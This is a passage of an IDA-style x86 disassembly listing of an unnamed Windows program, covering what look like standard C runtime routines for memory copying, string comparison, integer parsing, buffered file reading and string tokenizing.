loc_4183E4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4183EC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4183FF:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0:off_41839Co
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_418408	dd offset loc_418418	; DATA XREF: sub_4182C0+35r
					; sub_4182C0+92r ...
		dd offset loc_418420
		dd offset loc_41842C
		dd offset loc_418440
; ---------------------------------------------------------------------------

loc_418418:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_418420:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41842C:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_418440:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_418458:				; CODE XREF: sub_4182C0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41848C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_418480:				; CODE XREF: sub_4182C0+1B1j
					; sub_4182C0+208j ...
		neg	ecx
		jmp	off_418550[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41848C:				; CODE XREF: sub_4182C0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4184A4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4184A4+4[eax*4]
; ---------------------------------------------------------------------------

loc_4184A4:				; CODE XREF: sub_4182C0+1D6j
					; DATA XREF: sub_4182C0+1DDr
		jmp	off_4185A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4184B7+1
; ---------------------------------------------------------------------------
		fadd	dword ptr [ecx+eax*2+41850000h]

loc_4184B7:				; DATA XREF: sub_4182C0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418554
		dd offset loc_41855C
		dd offset loc_418564
		dd offset loc_41856C
		dd offset loc_418574
		dd offset loc_41857C
		dd offset loc_418584
off_418550	dd offset loc_418597	; DATA XREF: sub_4182C0+1C2r
; ---------------------------------------------------------------------------

loc_418554:				; DATA XREF: sub_4182C0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41855C:				; DATA XREF: sub_4182C0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_418564:				; DATA XREF: sub_4182C0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41856C:				; DATA XREF: sub_4182C0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_418574:				; DATA XREF: sub_4182C0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41857C:				; DATA XREF: sub_4182C0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_418584:				; DATA XREF: sub_4182C0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_418597:				; CODE XREF: sub_4182C0+1C2j
					; DATA XREF: sub_4182C0:off_418550o
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4185A0	dd offset loc_4185B0	; DATA XREF: sub_4182C0+1B7r
					; sub_4182C0:loc_4184A4r ...
		dd offset loc_4185B8
		dd offset loc_4185C8
		dd offset loc_4185DC
; ---------------------------------------------------------------------------

loc_4185B0:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185B8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185C8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185DC:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4182C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185F5	proc near		; CODE XREF: sub_40473F+34p
					; sub_40473F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_4185F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_418603	proc near		; CODE XREF: sub_418670+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4CF03C
		call	sub_41D5A8
		mov	edx, dword_4CF03C
		pop	ecx
		mov	ecx, dword_4CF038
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_418662
		push	edx
		call	sub_41D5A8
		add	eax, 10h
		push	eax
		push	dword_4CF03C
		call	sub_41944F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418645
		retn
; ---------------------------------------------------------------------------

loc_418645:				; CODE XREF: sub_418603+3Fj
		mov	ecx, dword_4CF038
		sub	ecx, dword_4CF03C
		mov	dword_4CF03C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4CF038, ecx

loc_418662:				; CODE XREF: sub_418603+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4CF038, 4
		retn
sub_418603	endp


; =============== S U B	R O U T	I N E =======================================



sub_418670	proc near		; CODE XREF: sub_40482C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_418603
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_418670	endp


; =============== S U B	R O U T	I N E =======================================



sub_418682	proc near		; DATA XREF: ___:00426018o
		push	80h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	dword_4CF03C, eax
		jnz	short loc_4186A3
		push	18h
		call	sub_419CDA
		mov	eax, dword_4CF03C
		pop	ecx

loc_4186A3:				; CODE XREF: sub_418682+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4CF03C
		mov	dword_4CF038, eax
		retn
sub_418682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186B1	proc near		; CODE XREF: ___:00404AFFp
					; sub_4053D5+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	near ptr 26204B9h
		nop
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2800ABEh
		mov	ax, [ebp+var_16]
		cmp	ax, word_4CD9AA
		jnz	short loc_418716
		mov	ax, [ebp+var_18]
		cmp	ax, word_4CD9A8
		jnz	short loc_418716
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4CD9A6
		jnz	short loc_418716
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4CD9A2
		jnz	short loc_418716
		mov	ax, [ebp+var_20]
		cmp	ax, word_4CD9A0
		jnz	short loc_418716
		mov	eax, dword_4CD998
		jmp	short loc_41875B
; ---------------------------------------------------------------------------

loc_418716:				; CODE XREF: sub_4186B1+28j
					; sub_4186B1+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2800000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418743
		cmp	eax, 2
		jnz	short loc_41873F
		cmp	[ebp+var_32], 0
		jz	short loc_41873F
		cmp	[ebp+var_24], 0
		jz	short loc_41873F
		push	1
		pop	eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------

loc_41873F:				; CODE XREF: sub_4186B1+7Aj
					; sub_4186B1+81j ...
		xor	eax, eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------

loc_418743:				; CODE XREF: sub_4186B1+75j
		or	eax, 0FFFFFFFFh

loc_418746:				; CODE XREF: sub_4186B1+8Cj
					; sub_4186B1+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4CD9A0
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4CD998, eax
		pop	esi

loc_41875B:				; CODE XREF: sub_4186B1+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41D609
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41878B
		mov	[ecx], eax

locret_41878B:				; CODE XREF: sub_4186B1+D6j
		leave
		retn
sub_4186B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418790	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4CDA40
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4187E3
		mov	al, 0FFh
		mov	edi, edi

loc_4187AC:				; CODE XREF: sub_418790+28j
					; sub_418790+48j
		or	al, al
		jz	short loc_4187DE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_4187AC
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_4187AC
		sbb	al, al
		sbb	al, 0FFh

loc_4187DE:				; CODE XREF: sub_418790+1Ej
		movsx	eax, al
		jmp	short loc_418817
; ---------------------------------------------------------------------------

loc_4187E3:				; CODE XREF: sub_418790+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_4187EC:				; CODE XREF: sub_418790+68j
					; sub_418790+80j
		or	al, al
		jz	short loc_418817
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_4187EC
		push	eax
		push	ebx
		call	sub_419101
		mov	ebx, eax
		add	esp, 4
		call	sub_419101
		add	esp, 4
		cmp	bl, al
		jz	short loc_4187EC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_418817:				; CODE XREF: sub_418790+51j
					; sub_418790+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418790	endp


; =============== S U B	R O U T	I N E =======================================



sub_41881C	proc near		; CODE XREF: ___:0041ACB7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_41881C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418833	proc near		; CODE XREF: sub_41881C+Ep
					; sub_418A3B+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41884B:				; CODE XREF: sub_418833+46j
		cmp	dword_433E7C, 1
		jle	short loc_418863
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418872
; ---------------------------------------------------------------------------

loc_418863:				; CODE XREF: sub_418833+1Fj
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_418872:				; CODE XREF: sub_418833+2Ej
		test	eax, eax
		jz	short loc_41887B
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41884B
; ---------------------------------------------------------------------------

loc_41887B:				; CODE XREF: sub_418833+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_418889
		or	[ebp+arg_C], 2
		jmp	short loc_41888E
; ---------------------------------------------------------------------------

loc_418889:				; CODE XREF: sub_418833+4Ej
		cmp	bl, 2Bh
		jnz	short loc_418894

loc_41888E:				; CODE XREF: sub_418833+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_418894:				; CODE XREF: sub_418833+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_418A2B
		cmp	eax, 1
		jz	loc_418A2B
		cmp	eax, 24h
		jg	loc_418A2B
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4188DC
		cmp	bl, 30h
		jz	short loc_4188C6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------

loc_4188C6:				; CODE XREF: sub_418833+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188D9
		cmp	al, 58h
		jz	short loc_4188D9
		mov	[ebp+arg_8], 8
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_418833+97j
					; sub_418833+9Bj
		mov	[ebp+arg_8], ecx

loc_4188DC:				; CODE XREF: sub_418833+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4188F8
		cmp	bl, 30h
		jnz	short loc_4188F8
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188F0
		cmp	al, 58h
		jnz	short loc_4188F8

loc_4188F0:				; CODE XREF: sub_418833+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_4188F8:				; CODE XREF: sub_418833+91j
					; sub_418833+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_418908:				; CODE XREF: sub_418833+16Cj
		cmp	dword_433E7C, 1
		movzx	esi, bl
		jle	short loc_418920
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41892B
; ---------------------------------------------------------------------------

loc_418920:				; CODE XREF: sub_418833+DFj
		mov	eax, off_433C70
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41892B:				; CODE XREF: sub_418833+EBj
		test	eax, eax
		jz	short loc_418937
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_418969
; ---------------------------------------------------------------------------

loc_418937:				; CODE XREF: sub_418833+FAj
		cmp	dword_433E7C, 1
		jle	short loc_41894B
		push	edi
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418956
; ---------------------------------------------------------------------------

loc_41894B:				; CODE XREF: sub_418833+10Bj
		mov	eax, off_433C70
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_418956:				; CODE XREF: sub_418833+116j
		test	eax, eax
		jz	short loc_4189A4
		movsx	eax, bl
		push	eax
		call	sub_41D6CB
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_418969:				; CODE XREF: sub_418833+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4189A4
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41898E
		jnz	short loc_418988
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41898E

loc_418988:				; CODE XREF: sub_418833+147j
		or	[ebp+arg_C], 4
		jmp	short loc_418997
; ---------------------------------------------------------------------------

loc_41898E:				; CODE XREF: sub_418833+145j
					; sub_418833+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_418997:				; CODE XREF: sub_418833+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_418908
; ---------------------------------------------------------------------------

loc_4189A4:				; CODE XREF: sub_418833+125j
					; sub_418833+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4189C2
		test	edx, edx
		jz	short loc_4189BC
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_4189BC:				; CODE XREF: sub_418833+181j
		and	[ebp+var_8], 0
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------

loc_4189C2:				; CODE XREF: sub_418833+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_4189E8
		test	cl, 1
		jnz	short loc_418A0F
		and	ecx, 2
		jz	short loc_4189DF
		cmp	[ebp+var_8], 80000000h
		ja	short loc_4189E8

loc_4189DF:				; CODE XREF: sub_418833+1A1j
		test	ecx, ecx
		jnz	short loc_418A0F
		cmp	[ebp+var_8], eax
		jbe	short loc_418A0F

loc_4189E8:				; CODE XREF: sub_418833+197j
					; sub_418833+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4CD9B4, 22h
		jz	short loc_4189FE
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------

loc_4189FE:				; CODE XREF: sub_418833+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_418A0F:				; CODE XREF: sub_418833+18Dj
					; sub_418833+19Cj ...
		test	edx, edx
		jz	short loc_418A18
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_418A18:				; CODE XREF: sub_418833+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_418A26
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_418A26:				; CODE XREF: sub_418833+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_418A36
; ---------------------------------------------------------------------------

loc_418A2B:				; CODE XREF: sub_418833+66j
					; sub_418833+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418A34
		mov	[eax], edi

loc_418A34:				; CODE XREF: sub_418833+1FDj
		xor	eax, eax

loc_418A36:				; CODE XREF: sub_418833+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418833	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A3B	proc near		; CODE XREF: sub_4053D5+4BDp
					; sub_40EE72+3773p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_418A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A52	proc near		; CODE XREF: sub_4053D5+266p
					; sub_4053D5+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_417AB0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D797
		add	esp, 10h
		leave
		retn
sub_418A52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A86	proc near		; CODE XREF: sub_405A58+4Ep
					; sub_406C19+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_418AAA
		xor	eax, eax
		jmp	loc_418B53
; ---------------------------------------------------------------------------

loc_418AAA:				; CODE XREF: sub_418A86+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418ABD
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------

loc_418ABD:				; CODE XREF: sub_418A86+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------

loc_418AC6:				; CODE XREF: sub_418A86+C4j
		mov	ecx, [ebp+arg_0]

loc_418AC9:				; CODE XREF: sub_418A86+35j
					; sub_418A86+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418AFB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_418AFB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_418AE0
		mov	edi, eax

loc_418AE0:				; CODE XREF: sub_418A86+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_417390
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_418B46
; ---------------------------------------------------------------------------

loc_418AFB:				; CODE XREF: sub_418A86+49j
					; sub_418A86+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_418B2E
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_418B11
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_418B11:				; CODE XREF: sub_418A86+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418B58
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418B5E
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_418B46
; ---------------------------------------------------------------------------

loc_418B2E:				; CODE XREF: sub_418A86+78j
		push	esi
		call	sub_41E248
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418B62
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_418B46:				; CODE XREF: sub_418A86+73j
					; sub_418A86+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_418AC6
		mov	eax, [ebp+arg_8]

loc_418B53:				; CODE XREF: sub_418A86+1Fj
					; sub_418A86+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_418B58:				; CODE XREF: sub_418A86+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_418B62
; ---------------------------------------------------------------------------

loc_418B5E:				; CODE XREF: sub_418A86+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_418B62:				; CODE XREF: sub_418A86+B2j
					; sub_418A86+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_418B53
sub_418A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B6E	proc near		; CODE XREF: sub_405AF2+2B2p
					; sub_4060D0+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_418B87:				; CODE XREF: sub_418B6E+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418B87
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_418BAF
		mov	edx, dword_4CD9B0

loc_418BAF:				; CODE XREF: sub_418B6E+39j
					; sub_418B6E+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_418BCF
		test	al, al
		jz	short loc_418BCF
		inc	edx
		jmp	short loc_418BAF
; ---------------------------------------------------------------------------

loc_418BCF:				; CODE XREF: sub_418B6E+58j
					; sub_418B6E+5Cj
		mov	ebx, edx

loc_418BD1:				; CODE XREF: sub_418B6E+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_418BF5
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_418BF1
		inc	edx
		jmp	short loc_418BD1
; ---------------------------------------------------------------------------

loc_418BF1:				; CODE XREF: sub_418B6E+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_418BF5:				; CODE XREF: sub_418B6E+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4CD9B0, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_418B6E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_406387+1B6p
					; sub_407252+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_418C93
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418C34
		shr	ecx, 2
		jnz	short loc_418CA1
		jmp	short loc_418C55
; ---------------------------------------------------------------------------

loc_418C34:				; CODE XREF: sub_418C10+1Bj
					; sub_418C10+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_418C62
		test	al, al
